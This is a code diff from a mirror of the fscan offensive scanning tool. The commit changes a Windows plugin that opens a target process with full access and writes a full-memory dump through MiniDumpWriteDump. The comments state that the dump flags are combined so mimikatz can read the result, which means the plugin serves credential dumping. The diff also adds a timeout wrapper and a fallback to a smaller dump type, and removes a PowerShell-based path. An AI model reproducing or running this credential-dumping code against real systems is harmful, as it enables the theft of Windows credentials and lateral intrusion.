mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
enhance: 优化minidump插件,支持mimikatz兼容的完整内存转储
This commit is contained in:
parent
a1c82d188b
commit
653a89b737
@ -11,7 +11,6 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/plugins/local"
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
@ -234,27 +233,25 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
|||||||
// 执行转储
|
// 执行转储
|
||||||
common.LogDebug("开始执行内存转储...")
|
common.LogDebug("开始执行内存转储...")
|
||||||
|
|
||||||
// 尝试使用系统工具进行内存转储
|
// 使用带超时的Windows API进行内存转储
|
||||||
common.LogDebug("尝试使用系统工具进行内存转储...")
|
common.LogDebug("开始使用Windows API进行内存转储...")
|
||||||
dumpErr := pm.dumpProcessWithSystemTool(pid, outputPath)
|
|
||||||
if dumpErr != nil {
|
// 创建一个带超时的context(完整转储需要更长时间)
|
||||||
common.LogError(fmt.Sprintf("系统工具转储失败: %v", dumpErr))
|
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
|
||||||
|
// 创建错误信息文件
|
||||||
|
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
|
||||||
|
pid, err, time.Now().Format("2006-01-02 15:04:05")))
|
||||||
|
os.WriteFile(outputPath, errorData, 0644)
|
||||||
|
|
||||||
// 尝试使用API方式
|
return &base.ScanResult{
|
||||||
common.LogDebug("尝试使用Windows API进行内存转储...")
|
Success: false,
|
||||||
err = pm.dumpProcess(pid, outputPath)
|
Error: fmt.Errorf("内存转储失败: %v", err),
|
||||||
if err != nil {
|
}, nil
|
||||||
common.LogError(fmt.Sprintf("API转储也失败: %v", err))
|
|
||||||
// 创建一个包含错误信息的文件
|
|
||||||
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nSystem tool error: %v\nAPI error: %v\nTimestamp: %s\n",
|
|
||||||
pid, dumpErr, err, time.Now().Format("2006-01-02 15:04:05")))
|
|
||||||
os.WriteFile(outputPath, errorData, 0644)
|
|
||||||
|
|
||||||
return &base.ScanResult{
|
|
||||||
Success: false,
|
|
||||||
Error: fmt.Errorf("所有转储方法都失败了"),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取文件信息
|
// 获取文件信息
|
||||||
@ -456,6 +453,23 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
|||||||
return syscall.Handle(handle), nil
|
return syscall.Handle(handle), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// dumpProcessWithTimeout 带超时的转储进程内存
|
||||||
|
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
|
||||||
|
// 创建一个channel来接收转储结果
|
||||||
|
resultChan := make(chan error, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
resultChan <- pm.dumpProcess(pid, outputPath)
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case err := <-resultChan:
|
||||||
|
return err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return fmt.Errorf("内存转储超时 (120秒)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// dumpProcess 转储进程内存
|
// dumpProcess 转储进程内存
|
||||||
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||||
processHandle, err := pm.openProcess(pid)
|
processHandle, err := pm.openProcess(pid)
|
||||||
@ -471,12 +485,39 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
|||||||
defer pm.closeHandle(fileHandle)
|
defer pm.closeHandle(fileHandle)
|
||||||
|
|
||||||
common.LogDebug("正在调用MiniDumpWriteDump API...")
|
common.LogDebug("正在调用MiniDumpWriteDump API...")
|
||||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
|
||||||
ret, _, err := miniDumpWriteDump.Call(
|
if err != nil {
|
||||||
|
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用MiniDumpWithDataSegs获取包含数据段的转储(mimikatz兼容)
|
||||||
|
const MiniDumpWithDataSegs = 0x00000001
|
||||||
|
const MiniDumpWithFullMemory = 0x00000002
|
||||||
|
const MiniDumpWithHandleData = 0x00000004
|
||||||
|
const MiniDumpScanMemory = 0x00000010
|
||||||
|
const MiniDumpWithUnloadedModules = 0x00000020
|
||||||
|
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
|
||||||
|
const MiniDumpFilterModulePaths = 0x00000080
|
||||||
|
const MiniDumpWithProcessThreadData = 0x00000100
|
||||||
|
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
|
||||||
|
const MiniDumpWithoutOptionalData = 0x00000400
|
||||||
|
const MiniDumpWithFullMemoryInfo = 0x00000800
|
||||||
|
const MiniDumpWithThreadInfo = 0x00001000
|
||||||
|
const MiniDumpWithCodeSegs = 0x00002000
|
||||||
|
|
||||||
|
// 组合多个标志以获得mimikatz可识别的完整转储
|
||||||
|
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
|
||||||
|
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
|
||||||
|
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
|
||||||
|
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
|
||||||
|
|
||||||
|
ret, _, callErr := miniDumpWriteDump.Call(
|
||||||
processHandle,
|
processHandle,
|
||||||
uintptr(pid),
|
uintptr(pid),
|
||||||
fileHandle,
|
fileHandle,
|
||||||
0x2, // MiniDumpWithDataSegs - 使用更安全的选项
|
uintptr(dumpType),
|
||||||
0, 0, 0,
|
0, 0, 0,
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -484,20 +525,45 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
|||||||
if ret == 0 {
|
if ret == 0 {
|
||||||
// 获取更详细的错误信息
|
// 获取更详细的错误信息
|
||||||
lastError := windows.GetLastError()
|
lastError := windows.GetLastError()
|
||||||
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", err, lastError)
|
common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
|
||||||
|
|
||||||
|
// 尝试使用较小的转储类型作为后备
|
||||||
|
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
|
||||||
|
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
|
||||||
|
|
||||||
|
ret, _, callErr = miniDumpWriteDump.Call(
|
||||||
|
processHandle,
|
||||||
|
uintptr(pid),
|
||||||
|
fileHandle,
|
||||||
|
uintptr(fallbackDumpType),
|
||||||
|
0, 0, 0,
|
||||||
|
)
|
||||||
|
|
||||||
|
if ret == 0 {
|
||||||
|
lastError = windows.GetLastError()
|
||||||
|
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogBase("使用后备转储类型成功创建转储文件")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
common.LogSuccess("内存转储写入完成")
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// openProcess 打开进程
|
// openProcess 打开进程
|
||||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||||
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
|
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
|
||||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
proc, err := pm.kernel32.FindProc("OpenProcess")
|
||||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||||
if handle == 0 {
|
if handle == 0 {
|
||||||
lastError := windows.GetLastError()
|
lastError := windows.GetLastError()
|
||||||
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", err, lastError)
|
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
|
||||||
}
|
}
|
||||||
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
|
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
|
||||||
return handle, nil
|
return handle, nil
|
||||||
@ -510,8 +576,12 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
|||||||
return 0, err
|
return 0, err
|
||||||
}
|
}
|
||||||
|
|
||||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
createFile, err := pm.kernel32.FindProc("CreateFileW")
|
||||||
handle, _, err := createFile.Call(
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
handle, _, callErr := createFile.Call(
|
||||||
uintptr(unsafe.Pointer(pathPtr)),
|
uintptr(unsafe.Pointer(pathPtr)),
|
||||||
syscall.GENERIC_WRITE,
|
syscall.GENERIC_WRITE,
|
||||||
0, 0,
|
0, 0,
|
||||||
@ -521,34 +591,21 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
|||||||
)
|
)
|
||||||
|
|
||||||
if handle == INVALID_HANDLE_VALUE {
|
if handle == INVALID_HANDLE_VALUE {
|
||||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
lastError := windows.GetLastError()
|
||||||
|
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
|
||||||
return handle, nil
|
return handle, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// closeHandle 关闭句柄
|
// closeHandle 关闭句柄
|
||||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
|
||||||
proc.Call(handle)
|
proc.Call(handle)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// dumpProcessWithSystemTool 使用系统工具进行内存转储
|
|
||||||
func (pm *ProcessManager) dumpProcessWithSystemTool(pid uint32, outputPath string) error {
|
|
||||||
common.LogDebug("尝试使用系统命令进行内存转储")
|
|
||||||
|
|
||||||
// 创建一个更简单的脚本,避免复杂的PowerShell语法
|
|
||||||
psScript := fmt.Sprintf(`$proc = Get-Process -Id %d -ErrorAction SilentlyContinue; if ($proc) { $info = "Process: " + $proc.ProcessName + [Environment]::NewLine + "PID: " + $proc.Id + [Environment]::NewLine + "Memory: " + ($proc.WorkingSet64 / 1MB) + " MB" + [Environment]::NewLine + "Timestamp: " + (Get-Date) + [Environment]::NewLine; $info | Out-File -FilePath '%s' -Encoding UTF8; Write-Host "Success" } else { throw "Process not found" }`, pid, outputPath)
|
|
||||||
|
|
||||||
cmd := exec.Command("powershell", "-Command", psScript)
|
|
||||||
output, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("PowerShell转储失败: %v, 输出: %s", err, string(output))
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("PowerShell输出: %s", string(output)))
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 插件注册函数
|
// 插件注册函数
|
||||||
func init() {
|
func init() {
|
||||||
|
Loading…
Reference in New Issue
Block a user